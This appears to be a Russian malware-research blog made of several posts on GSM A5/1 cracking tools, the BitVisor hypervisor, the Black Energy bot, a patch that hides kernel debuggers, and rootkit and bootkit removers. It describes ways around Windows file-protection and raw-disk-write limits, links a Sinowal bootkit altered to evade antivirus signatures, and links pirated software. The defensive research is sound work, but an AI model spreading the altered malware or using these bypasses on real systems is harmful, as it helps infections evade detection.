My aimless life...

Уже все кому не лень написали про то, что в рамках проекта GSM rainbow table project были выложены в широкий доступ rainbow-таблицы (и софт для их генерации), предназначенные для взлома потокового алгоритма шифрования A5/1, который используется в GSM-сетях. Однако, на днях случилось странное: после презентации соответствующего доклада [PDF] на конференции Chaos Communication Congress из открытого доступа были удалены многие материалы, которые косвенно или непосредственно касались этого проекта.

Во-первых, это wiki The GSM Software Project-a от команды THC, в рамках которого разрабатывалась целая куча софта, для декодирования и перехвата траффика в эфире, с помощью недорогого, универсального радиоинтерфейса или слегка модифицированных мобильных телефонов от Nokia и TSM. К слову, этот проект и wiki существовали (и активно обновлялись) года три-четрые.
На данный момент, удалены все страницы касающиеся хакинга GSM а так же архивы с софтом, хранившиеся на сервере.
Старый контент (датированный 25-м декабря 2009-го) можно посмотреть в кэше google, архивы с исходными текстами программ gsmdecode, gsmsp и gssm найти там же - зеркальте, пока ещё лежит.

Во-вторых, уже с reflextor.com удалили, собственно, сами торренты, в которых и были доступны сгенерированные rainbow-таблицы (старая страница в кэше google). К сожалению, поиск этих торрентов на всевозможных трекерах результатов не дал, поэтому, я буду весьма благодарен успевшему сохранить оригинальные файлы человеку, который поделится ними.

UPD: торренты на reflextor.com вернули

Несколько недель назад на многих IT-порталах обсуждался гипервизор, который предназначен для защиты ядра linux от руткитов.
Более подробно он описывается в оригинальном пейпере от исследователей из NC State University:
http://discovery.csc.ncsu.edu/pubs/ccs09-HookSafe.pdf

Однако, это далеко не первое практическое воплощение подобной идеи. В 2008-м году на конференции Black Hat USA был представлен доклад Hypervisor IPS based on Hardware Assisted Virtualization Technology за авторством Junichi Murakami, в котором рассматривается гипервизор под названием Viton, предназначенный для защиты ядра и критических системных структур Windows от модификации со стороны Malware.

Recently malware has become more stealthy and thus harder to detect, than ever before. Current malware uses many stealth techniques, such as dynamic code injection, rootkit technology and much more. Moreover, we have seen full kernel mode malware like Trojan.Srizbi.

Many detection tools were released that specialize in kernel mode malware and especially in the detection of rootkits. However, these tools are a cat and mouse game, because they and the malware are executed on the same privilege level.

This is why we developed an IPS based on a hypervisor, which uses features of hardware virtualization. It is executed on Ring-1 and thus runs with higher privileges than the OS layer.

In this session, we will talk about stealth mechanisms used by recent malware and demonstrate how to protect against such malware using Hypervisor IPS.

http://www.blackhat.com/presentations/bh-usa-08/Murakami/bh_us_08_murakami_Hypervisor_IPS.pdf

К сожалению, исходный код Viton-a (так же как и HookSafe) не доступен в паблике. Однако, он базируется на другом open-source гипервизоре, под названием BitVisor. BitVisor умеет запускать внутри виртуального окружения уже установленную на машине операционную систему, не зависимо от её типа (Windows, *NIX-like, итд.) На данный момент, в нём реализован следующий функционал:

- Поддержка 32-х разрядной архитектуры в VMM
- Поддержка PAE
- Поддержка эмуляции реального режима работы процессора

Сам гипервизор выполнен в виде мини-ядра, которое получает управление через системный загрузчик, выполняет инициализацию и инициирует повторную загрузку "виртуализированного" компьютера уже под управлением гипервизора.



Исходный код BitVisor-а доступен на SourceForge под BSD лицензией:
http://sourceforge.net/projects/bitvisor/files/

В связи с тем, что readme/документация на исходники/проект отсутствует как таковая а процесс его установки достаточно нетривиальный, ниже будет приведено описание того, как запустить под BitVisor-ом операционную систему. Я тестировал его на Windows XP SP3 x32 и Gentoo Linux 2008.0

Сбрка и настройка для *NIX-like

1. Распаковываем исходники в произвольный каталог (tar -xpf bitvisor-1.0.1.tar.gz).
2. Создаём файл .config, со следующим содержанием:

CONFIG_64=0#64bit VMM
CONFIG_DEBUG_GDB=0#gdb remote debug support (32bit only)
CONFIG_TTY_SERIAL=0#VMM uses a serial port (COM1) for output
CONFIG_TTY_PRO1000=0#VMM output to LAN (VPN_PRO1000 must be 1)
CONFIG_CPU_MMU_SPT_1=1#Shadow type 1 (very slow and stable)
CONFIG_CPU_MMU_SPT_2=0#Shadow type 2 (faster and unstable)
CONFIG_CPU_MMU_SPT_3=0#Shadow type 3 (faster and unstable)
CONFIG_CPU_MMU_SPT_USE_PAE=0#Shadow page table uses PAE
CONFIG_PS2KBD_F11PANIC=0#Panic when F11 is pressed (PS/2 only)
CONFIG_PS2KBD_F12MSG=1#Print when F12 is pressed (PS/2 only)
CONFIG_DBGSH=1#Debug shell access from guest
CONFIG_LOG_TO_GUEST=#Log to guest memory
CONFIG_ATA_DRIVER=1#Enable ATA driver
CONFIG_STORAGE_ENC=0#Enable storage encryption (DEBUG)
CONFIG_CRYPTO_VPN=0#Enable IPsec VPN Client
CONFIG_USB_DRIVER=0#Enable USB driver
CONFIG_SHADOW_UHCI=0#Shadow UHCI(USB1) transfers
CONFIG_SHADOW_EHCI=0#Shadow EHCI(USB2) transfers
CONFIG_HANDLE_USBMSC=0#Handle USB mass storage class devices
CONFIG_HANDLE_USBHUB=0#Handle USB hub class devices
CONFIG_CONCEAL_USBCCID=0#Conceal USB ccid class device
CONFIG_PS2KBD_F10USB=0#Run a test for USB ICCD when F10 pressed
CONFIG_PS2KBD_F12USB=0#Dump EHCI async. list when F12 pressed
CONFIG_IEEE1394_CONCEALER=0#Conceal OHCI IEEE 1394 host controllers
CONFIG_FWDBG=0#Debug via IEEE 1394
CONFIG_ACPI_DSDT=1#Parse ACPI DSDT
CONFIG_DISABLE_SLEEP=1#Disable ACPI S2 and S3
CONFIG_ENABLE_ASSERT=1#Enable checking assertion failure
CONFIG_DEBUG_ATA=0#Enable debugging ATA driver
CONFIG_SELECT_AES_GLADMAN=0#Select Dr. Gladmans AES assembler code
CONFIG_CARDSTATUS=0#Panic if an IC card is ejected (IDMAN)
CONFIG_IDMAN=0#IDMAN (CRYPTO_VPN must be enabled)
CONFIG_VPN_PRO100=0#Enable VPN for Intel PRO/100
CONFIG_VPN_PRO1000=0#Intel PRO/1000 driver
CONFIG_VPN_VE=0#Enable ve (Virtual Ethernet) driver
CONFIG_VTD_TRANS=0#Enable VT-d translation

Я отключил в нём лишние драйвера, наличие которых не обязательно для функционирования, собственно, гипервизора, и все потенциально глючные фичи, которые на практике часто приводят к неработоспособности машины. Если в наличии имеется COM-порт, стоит обратить внимание на опцию CONFIG_TTY_SERIAL, которая включает вывод отладочных сообщений ядра гипервизора в него.

3. Компилируем исходники командой make.
4. По завершению компиляции, в директории проекта должен появится файл bitvisor.elf, который необходимо скопировать на системный раздел и добавить в настройки загрузчика. Для GRUB соответствующая запись в menu.lst будет выглядеть так:

title BitVisor
root (hd0,0)
kernel /boot/bitvisor.elf

Установка завершена, перезагружаем машину и выбираем BitVisor в загрузочном меню. После этого на экране должен появится лог инициализации гипервизора примерно следующего вида:

Starting BitVisor...
Copyright (c) 2007, 2008 University of Tsukuba
All rights reserved.
4226078720 bytes (4030 MiB) RAM available.
VMM will use 0xB7C00000-0xBFC00000 (128 MiB).
ACPI DMAR not found.
..................................................                                                  
Disable ACPI S3
ACPI MCFG cleared.
Module not found.
Processor 0 (BSP)
Processor 1 (AP)
SVM is not available.
SVM is not available.
Processor 1 2365101240 Hz
Processor 0 2365101288 Hz
Loading drivers.
PCI: finding devices ........................ 24 devices found
Starting a virtual machine.

После того как гипервизор запустится, на экране снова появится меню системного загрузчика, в котором, на этот раз, будет необходимо выбрать загрузку вашей операционной системы.
Что дальше? - А всё. Если загрузка прошла успешно - можно радоваться тому факту, что ОС работает в виртуальном окружении, практические возможности BitVisor-а на этом и заканчиваются.
Проверить его работу можно с помощью следующей программы (dbgsh.c - была выдрана из комментариев в исходных текстах):

( Показать исходник )

Будучи скомпилированной (gcc dbgsh.c -o dbgsh) и запущенной под гипервизором, она предоставит command line интерфейс для доступа к его отладочным функциям:

# ./dbgsh
> help
debug           debugger
log             print VMM log
recvexample     msgregister() example
sendexample     msgsendbuf() example
sendint         call msgsendint()
serialtest      serial I/O test
shell           shell
reboot          reboot
exit            exit shell 

Встроенный отладчик умеет:
- Дампить виртуальную и физическую память VMM.
- Дампить виртуальную и физическую память виртуальной машины.
- Показывать регистры процессора.
- Выводить лог загрузки гипервизора.

Сбрка и настройка для Windows

Компиляция BitVisor-а в Windows мало отличается от таковой под *NIX, и для неё подходит среда типа Cygwin или MinGW.
Загрузка ядра гипервизора осуществляется с помощью GRUB4DOS, который необходимо настроить следующим образом:

1. В корень системного раздела (С:\) копируются файлы bitvisor.elf и grldr, который входит в состав GRUB4DOS.
2. В той же директории создаётся файл menu.lst следующего содержания:

default 0
timeout 10

title BitVisor
root (hd0,0)
kernel /bitvisor.elf

3. В конец файла boot.ini добавляется следующая строка: C:\GRLDR="Start GRUB"

После загрузки ОС под гипервизором, его работоспособность проверяется с помощью приведенной выше программы (на скриншете виден дамп образа ядра Windows, работающего в виртуальной среде):

Выводы

После прочтения этого материала, многие, вероятно, зададут вопрос: "Зачем нужен гипервизор, который ничего полезного не умеет делать?". В текущем виде BitVisor действительно представляет собой не более чем PoC, но в силу своей архитектуры, он хорошо подходит для написания на его базе как руткитов, так и всевозможных защитных систем вроде HookSafe и Viton.
Сделать сокрытие зараженного загрузочного сектора на уровне PIO, к примеру, с помощью BitVisor-а представляется довольно простой задачей.
На данный момент, в нём очень не хватает BluePill-like nested virtualization, однако, на фоне уже сделанной работы реализация вложенной виртуализации не выглядит пугающе.

Для желающих запустить BitVisor на своей машине, я выкладываю архив, в котором находятся:

- Файл .config, который необходим для сборки гипервизора.
- Собственно, собранный гипервизор (bitvisor.elf).
- Файлы из GRUB4DOS, необходимые для загрузки гипервизора в Windows (menu.lst, grldr).
- dbgsh.exe (Windows версия программы для отладки и проверки работоспособности гипервизора).

http://narod.ru/disk/16296568000/bitvisor_stuff.rar.html

Последние два дня меня довольно часто донимают вопросами по поводу этой статьи на BBC:

ФБР подозревает российских хакеров в атаке на Citigroup

Следователи выяснили, что пароли клиентов банка были похищены с помощью программы Black Energy.

Джо Стюарт, специалист американской фирмы SecureWorks, специализирующейся на компьютерной безопасности, которого цитирует Wall Street Journal, утверждает, что ее написал российский хакер под ником Cr4sh. Пакет с программным обеспечением, в который входит Black Energy, продается в интернете по 700 долларов.

Как сообщили во вторник "Ведомости", Black Energy использовалась, в частности, для блокирования сайтов правительства и банков Грузии во время войны на Кавказе в августе 2008 года и в Эстонии во время конфликта вокруг переноса Бронзового солдата в апреле 2007 года.


В связи с этим, решил написать мини-дисклеймер журнализдам, "специалистам" и другим некомпетентным персонажам, которые захотят раскопать ещё этой правды (а стало быть, и истены) про злобных "российских хакеров".

Так, собственно, усвойте, бляди: Black Energy - это DDoS-бот, который был результатом проведенной на заказ (году в 2006-2007) работы, по созданию простого и компактного рабочего инструмента, без всяких руткитов, инфекторов и каких бы то ни было spyware-функций.
Каким образом DDoS-бот относится к краже банковской информации - я в душе не ебу. Однако, тот факт, что его исходники были доступны многим людям во всевозможных [полу]приватных тусовках, может означать, что кто-то заточил его под свои нужды. Подозревать же в причастности к криминальным махинациям автора бота, чей автограф стоял на публично доступных билдах 3-х летней давности, может только полный идиот.

Ознакомиться с описанием Black Energy (за авторством security-специалистов в более положительном смысле этого слова) можно здесь:
http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf

PS: я же в настоящее время никаким боком не связан с ботнет-сетями и программами для их организации.

На reng.ru выложили IDA Pro Advanced 5.5 with HexRays 1.1 (к сожалению, без SDK)
От версии 5.4, которая была последней из публично доступных до неё, 5.5 в первую очередь отличается новым интерфейсом и возможностью загрузки crashdump-ов Windows.
Rачайте, пока линки живые.

Полный чейнджлог:
http://www.hex-rays.com/idapro/55/index.htm

UPD: sporaw запостил у себя информацию к размышлению, с которой так же интересно ознакомится.

Мне периодически попадаются экземпляры malware, которые умеют детектировать присутствие удалённого отладчика подцепленного к виртуальной машине. Как правило, проблемы в данном случае создают именно руткиты, так как грузится они могут раньше, чем инициализируется WinDbg сессия (буткиты, заражение NTLDR и драйверов, которые используются на начальном этапе загрузки).

В 99% случаев, обнаружение удалённого отладчика реализовано весьма тривиально:
1. Проверка глобальной экспортируемой переменной ядра KdDebuggerEnabled, которая при активном отладчике устанавливается в TRUE, и влияет на обработку исключений, и др.
2. Вызов функции NtQuerySystemInformation c классом SystemDebuggerInformation, в возвращаемых данных будет следующая структура:

typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION 
{ // Information Class 35
    BOOLEAN DebuggerEnabled;
    BOOLEAN DebuggerNotPresent;

} SYSTEM_KERNEL_DEBUGGER_INFORMATION, 
*PSYSTEM_KERNEL_DEBUGGER_INFORMATION; 

Оба способа обнаружения отладчика обходятся довольно просто: единственная сложность заключается в том, что для этого, по озвученным выше причинам, не подходит hotpatching ядра из своего драйвера. Поэтому, я написал патчер, которы модифицирует файл ядра на диске:

- Патчатся все xrefs на KdDebuggerEnabled таким образом, что бы значение оригинальной экспортируемой переменной никогда не изменялось.
- Перехватывается системный вызов NtQuerySystemInformation, с подменой значений обоих полей для соответствующего информационного класса.



Архив с бинарником и исходными текстоми доступен для загрузки здесь:
http://narod.ru/disk/16099965000/KdDebuggerEnabled_patch-1.0.zip.html

Разумеется, данный патч не расчитан на защиту от всех теоретически возможных методов детекта WinDbg, но при необходимости, нужный функционал можно реализовать по аналогии с уже имеющимся (чем я и буду заниматься по мере необходимости).

Кроме, собственно, патча и readme к нему, в архиве лежит и драйвер, который позволяет проверить его работоспособность, выводя в debug output информацию о наличии отладчика.

На системе с активным удалённым отладчиком без патча:

nt!KdDebuggerEnabled: 0x8054b6c1 (TRUE)
   DebuggerEnabled=0x00000001
DebuggerNotPresent=0x00000000

На пропатченой системе с активным удалённым отладчиком:

nt!KdDebuggerEnabled: 0x8054b6c1 (FALSE)
   DebuggerEnabled=0x00000000
DebuggerNotPresent=0x00000001

С технической точки зрения, семейство Windows NT - очень странные ОС, в которых полно непонятных и нелогичных решений.

К примеру, начиная где-то с Vista и 2008 Server, стало появляться большое количество костылей, которые, видимо, по мнению долбоёбов-архитекторов (да и многих пользователей) имеют какое-то отношение к безопасности, однако, на деле только создают дополнительные проблемы разработчикам легитимного ПО.
О каких конкретно технологиях и фичах идёт речь?


Windows Resource Protection
http://msdn.microsoft.com/en-us/library/aa382503(VS.85).aspx
http://ru.wikipedia.org/wiki/Windows_Resource_Protection

Эта технология пришла на замену устаревшей Windows File Protection (WFP), которая использовалась в Windows 2000, XP и Server 2003.
Принцип работы WFP заключался в циклической проверке целостности системных файлов в директориях system32, drivers, итд. содержимое которых сверялось с резервной копией, находившейся в system32\dllcache. В случае подмены файла, Winlogon или молча восстанавливал оригинальный, или показывал знакомый всем алерт с запросом инсталяционного диска.
Для временного отключения WFP (при установке апдейтов, к примеру) использовались предназначенные для этого функции из sfc_os.dll

WRP же работает совсем по другому. Если коротко, то главный принцип заключается в разрешении полного доступа к защищаемому файлу только для сервиса TrustedInstaller:

C:\Windows\System32\drivers>cacls beep.sys
C:\Windows\System32\drivers\beep.sys NT SERVICE\TrustedInstaller:F
                                     BUILTIN\Administrators:R
                                     NT AUTHORITY\SYSTEM:R
                                     BUILTIN\Users:R

А теперь внимание: нахуя нужен WRP, если модифицировать соотв. файлы из-под учётной записи, принадлежащей группе Users, нельзя было и раньше, а локальный администратор может выставить нужные security attributes для этого файла вполне документированным способом?
Solution: добавить DACL c FILE_ALL_ACCESS для нужного SID. Code Example



Storage devices stack direct disk I/O restriction
http://support.microsoft.com/kb/942448

В Windows XP (и более ранних версиях) кто угодно, обладавший правами локального администратора, мог открыть устройство, представляющее логический раздел жесткого диска (или физический накопитель) и записать произвольное количество данных по произвольному смещению. Однако, с подготовкой к выходу Vista и 2008 Server разработчики решили что это плохо, и писать на прямую в раздел или физический диск можно только в MBR (оставили для поддержки различного антивирусного ПО) и не размеченное пространство. По приведенной выше ссылке написано, что фильтруются как стандартные запросы ввода-вывода типа IRP_MJ_WRITE, так и масса специальных IOCTL-кодов, относящихся к драйверам IDE и SCSI минипортов, итд.
Технически это ограничение реализовано довольно просто: к устройствам драйвера класса (Disk.sys), которое, собственно, и представляют конкретный накопитель, приаттачено устройство-фильтр, принадлежащее диспетчеру разделов (PartMgr.sys):

kd> !devstack \Device\Harddisk0\DR0
  !DevObj   !DrvObj            !DevExt   ObjectName
  84c714c0  \Driver\partmgr    84c71578  
> 84c717e0  \Driver\disk       84c71898  DR0

При обработке IRP запросов типа IRP_MJ_DEVICE_CONTROL PartMgr.sys отсекает "плохие", путём проверки принадлежности смешения, по которому осуществляется запись, к какому-либо разделу физического накопителя.
Вопрос: нахуя, если для прямого дискового ввода-вывода требуется права локального администратора, и этих же прав достаточно для загрузки драйвера, который будет обходить все описанные выше ограничения?
Solution: прицепить своё устройство-фильтр к PartMgr.sys, которое будет пробрасывать нужные IRP в обход него. Code Example (для IOCTL_SCSI_PASS_THROUGH_DIRECT).


Мне и правда не понятно, для чего это всё нужно, ведь большинство проблем с безопасностью машин конечных пользователей решилось, если бы Microsoft насильно не позволял домохозяйкам работать под Администраторами, а вместо сомнительной эффективности говнокода внедрял бы технические решения, которые делали бы работу под ограниченной учётной записью более комфортной. Например, аналог sudo для исполняемых файлов, или mac-like запрос администраторского пароля в окне предупреждения UAC.

PatchGuard (защиту от модификаций кода ядра на 64-х разрядных ОС) я умеренно не упомянул, так как она, по моему мнению, является вполне адекватным средством воздействия на вендоров, кривые драйвера которых дестабилизируют систему установкой большого количества стрёмных перехватов.

Выложили новую версию утилиты Rootkit.Win32.TDSS Remover:
http://www.esagelab.ru/resources.php?s=tdss_remover

Одна из главных возможностей - детект и лечение TDL3 (Rootkit.Win32.TDSS.y/z). В двух словах - это один из самых продвинутых руткитов, среди когда-либо использовавшихся в не целевой malware. Принцип работы заключается в заражении драйвера (без изменения его размера) с последующей выдачей оригинального содержимого при дисковом чтении. Более подробно можно прочесть здесь:
http://rootkit.com/newsread.php?newsid=979
http://www.drweb.com/static/BackDoor.Tdss.565_aka_TDL3.pdf

Наш вариант детектирования несколько отличается от того, который реализован в вышедшей около недели назад утилите от ЛК, а именно:
- Процедура поиска файлов, контент которых подменяется за счёт низкоуровневых хуков на дисковые операции, универсальная и никак не привязана к конкретной модификации конкретного зловреда.
- Зараженный 3-м TDL-ом драйвер не лечится, а заменяется оригинальным файлом, скопированным с установочного диска Windows, что даёт преимущества при удалении с машины неизвестных модификаций руткита.
- Код лечения/детектирования TDL3 работает преимущественно в User Mode (драйвер используется только для отправки IRP-запросов в обход диспетчера разделов при записи в файл).



Кроме того, в новом ремовере появилась возможность дампинга найденных объектов в произвольный каталог, с записью информации о них в симпатичный текстовый лог:

##########################################################################
#
#  Rootkit.Win32.TDSS Remover dumped objects log file
#  Copyright (c) 2009 eSage lab
#
#     http://www.esagelab.com/
#     mailto:support@esagelab.com
#
#  Program Version: 1.6.0.0
#  OS Version: Microsoft Windows Vista Business Edition Service Pack 1 (build 6001), 32-bit
#
#  Computer Name: Test
#
#  Log File Date/Time: 25.11.2009/21:31:12
#
#  Data Directory: dump_25.11-21.31.12
#
#  NOTE:
#  To convert registry binary dumps (*reg.bin) to human readable format (*.reg),
#  copy dumps to a clean machine and run bin_to_reg.bat
#
##########################################################################

   Object Type: File
 Original Name: C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-2P-0
   Dumped Name: BE992DF76531A2F2C81D60DC874AD05A_7B296FB0-376B-497e-B012-9C450E1B7327-2P-0
           MD5: BE992DF76531A2F2C81D60DC874AD05A
          Size: 3808 bytes

   Object Type: File
 Original Name: C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-2P-1
   Dumped Name: BE992DF76531A2F2C81D60DC874AD05A_7B296FB0-376B-497e-B012-9C450E1B7327-2P-1
           MD5: BE992DF76531A2F2C81D60DC874AD05A
          Size: 3808 bytes

   Object Type: File
 Original Name: C:\Windows\system32\drivers\lsi_scsi.sys
   Dumped Name: 7C7298B904DB6901AE2B4DAF8DF864F0_lsi_scsi.sys
           MD5: 7C7298B904DB6901AE2B4DAF8DF864F0
 Infected with: Rootkit.Win32.TDSS.y
          Size: 96312 bytes

При удалении/лечении объектов или выходе из программы, утилита спрашивает разрешения отправить архив с найденными файлами и ключами реестра нам. Пожалуйста, не пренебрегайте это фичей, т.к. наличие актуальных самплов позволит нам поддерживать ремовер up-to-date.

Ussage note:
Так как блокировать/прятать свои файлы/ключи из соображений безопасности могут и некоторые легитимные программы (Alcohol 120%, DaemonTools), прежде чем лечить/удалять подозрительные объекты, рекомендуется сдампить их и проверить на virustotal.com


Тред на anti-malware.ru:
http://www.anti-malware.ru/forum/index.php?showtopic=8349

Постоянный линк на последнюю версию:
http://www.esagelab.com/files/tdss_remover_latest.rar

Вопросы и багрепорты: dmitry@esagelab.ru

Дочитываю сейчас следующую книгу:

Fuzzing: Brute Force Vulnerability Discovery
За авторством чуваков из iDefense Labs: Michael Sutton, Adam Greene, Pedram Amini (основатель OpenRCE, кстати)



Тем, кто не в курсе как находится большая часть уязвимостей в современных программах и что такое фаззинг, книга в подробностях расскажет о подходах и методологии. Ну a тех, кто использует фаззинг в своей работе - она предостережет от изобретения велосипедов.
Кроме того, "Fuzzing: Brute Force Vulnerability Discovery" является хорошим примером того, как нужно писать технические книги на, казалось бы, узкую тему для максимально широкой аудитории технических специалистов.

Русское издание можно достать на books.ru:
http://www.books.ru/shop/books/694839
(Осторожно! Перевод оставляет желать лучшего)

А английское - на амазоне:
http://www.amazon.com/gp/product/0321446119
... или скачать вполне читабельный скан в PDF:
http://narod.ru/disk/15046266000/Fuzzing%20Brute%20Force%20Vulnerability%20Discovery.rar.html

Мы наконец-то выпустили электронный журнал, который призван стать русскоязычным аналогом Uninformed-a.
Так уж получилось, что руткиты стали главной темой первого выпуска, однако, в следующих релизах обязательно будут раскрыты и многие другие.

В номере опубликован достаточно большой материал моего авторства:

Обнаружение руткитов режима ядра с помощью отладчика

В настоящее время вредоносные программы всё чаще снабжаются функциями активного противодействия различным защитным системам. Времена, когда трояны и черви банально завершали процессы антивирусов по списку имён, давно прошли; сейчас никого не удивишь даже снятием перехватов и деактивацией фильтров, установленных HIPS-ами. А использование rootkit-технологий для сокрытия вредоносного кода в системе стало практически стандартом.
В процессе анализа пойманных in-the-wild ("в живой природе") экземпляров руткитов трудно переоценить помощь утилит-антируткитов. Бесплатные программы этого класса, такие как GMER, Rootkit Unhooker, IceSword, Safe n'Sec Rootkit Detector, на данный момент остаются одним из самых удобных и эффективных инструментов для поиска и анализа руткитов. Специфика технологий, используемых в перечисленных антируткитах, делает их обход нетривиальной задачей, и как следствие - практически нерешаемой для авторов подавляющего большинства зловредов. Этот факт заставляет плохих парней идти по несколько иному пути: а именно, препятствовать нормальной работе защитных программ вместо их обхода. Что делать, если ни один из этих антируткитов не заработал на зараженной машине? В таком случае можно проанализировать и деактивировать руткит практически "голыми руками", при помощи только отладчика и понимания архитектуры операционной системы. Об этом и пойдёт речь в данной статье.

http://nobunkum.ru/issue001/rootkits-windbg.html

... а так же ещё три интересных статьи от других людей:
Современные rootkit-технологии в Linux
Анализ руткита TDSS
«Все лгут». Погоня за истиной при поиске руткитов

Читать полностью: NOBUNKUM #1

Мы выпустили универсальную утилиту для удаления буткитов (включая Sinowal/Mebroot всех версий,
Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR).
Читать описание и скачать утилиту можно здесь:
http://www.esagelab.ru/resources.php?s=bootkit_remover.
Далее – предыстория.

Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии.
К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений MBR.

Предыстория

Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf

Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?

• В процессе заражения компьютера дроппер буткита модифицирует код главной загрузочной записи (MBR). Работающий в системе троянец не виден в качестве файла, он "живёт" исключительно в MBR и первых секторах диска, которые не относятся к какому-либо разделу.


• Во время загрузки системы, MBR-код буткита перехватывает процедуру чтения ядра операционной системы с диска, для осуществления патчинга вызова функции IoInitSystem рядом с точкой входа. После этого (так же как и в случае с легитимным загрузочным кодом) дальнейшее управление процессом загрузки передаётся загрузочному коду системного раздела, который, в свою очередь, считывает и запускает загрузчик операционной системы (ntldr).


• По завершению второй стадии загрузки, загрузчик операционной системы передаёт управление ядру, но из-за установленного перехвата вызова IoInitSystem выполняется код буткита, который осуществляет проецирование в память драйвера с основным функционалом троянца.


• Драйвер троянца устанавливает перехваты на драйвера дисковой подсистемы, которые, при попытке чтения модифицированного MBR, возвращают сохранённую копию оригинального загрузочного сектора.


• На более поздних этапах инициализации и работы системы в процессы пользовательского режима драйвером внедряется код, который осуществляет взаимодействие троянца с командным центром а так же представляет собой spyware, ориентированный на кражу аккаунтов для доступа к системам онлайн-банкинга.

Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз.

Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:
http://www2.gmer.net/mbr/

Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:
http://www.securelist.com/ru/analysis/204007635/Butkit_vyzov_2008
http://www.securelist.com/ru/analysis/204007605/Sovremennye_informatsionnye_ugrozy_I_kvartal_2008

Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:
http://www.securelist.com/ru/analysis/204007655/Butkit_2009

Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.

Тестирование

Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».

К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.
Итак, перед нами:

McAfee VirusScan 13.15.101

Dr.Web CureIt! 5.0.2.9230

Kaspersky Antivirus 2009 9.0.0.463

ESET NOD32 4.0.437.0

Avast Pro 4.8.1356.0

Symantec Trojan.Mebroot Removal Tool 1.0.1.0

F-Secure BlackLight 2.2.1092.0

Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.

Перейдём к делу.
Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.

• Самый обычный сампл Sinowal-а второго поколения, дроппер которого датирован концом мая 2009-го года (VirusTotal).


• Модифицированная версия Sinowal-а которая была полученна следующим образом: я дизассемблировал код загрузочной записи руткита, прочитанный с зараженной машины, модифицировал его, разбавив мусорными xor-ами и nop-ами и с целью сбития сигнатуры, и после ассембилрования записал обратно на диск. Код доступен для скачивания здесь:
  http://www.esagelab.com/files/sinowal-b_modified.zip.
  
  
  Модифицированный загрузочный код буткита (добавленные инструкции выделены).
  


• Stoned Bootkit. Это очередной концептуальный буткит, который был представлен на конференции BlackHat в этом году. Публично доступная версия буткита является сильно урезанной: кроме инфектора и, собственно, загрузочного кода в ней фактически ничего нет. Дополнительная информация доступна на сайте проекта:
  http://www.stoned-vienna.com/.

На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.
Пример лога:

==============================================
>Stealth
==============================================
0x8122CB80 Page with executable code [ ETHREAD 0x81400DA8 ] TID: 256, size: 1152 bytes
0x811E9B29 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 1239 bytes
0x811E6B13 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1261 bytes
0x811BAB07 Page with executable code [ ETHREAD 0x81416570 ] TID: 744, size: 1273 bytes
0x81202AF1 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1295 bytes
0x81208A55 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1451 bytes
0x811DA9B1 Page with executable code [ ETHREAD 0x815BB8F8 ] TID: 684, size: 1615 bytes
0x811E78F8 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1800 bytes
0x811E87B9 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 2119 bytes
0x811BB6B2 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2382 bytes
0x811C3581 Page with executable code [ ETHREAD 0x81661A90 ] TID: 748, size: 2687 bytes
0x811DE4A3 Page with executable code [ ETHREAD 0x817CB810 ] TID: 24, size: 2909 bytes
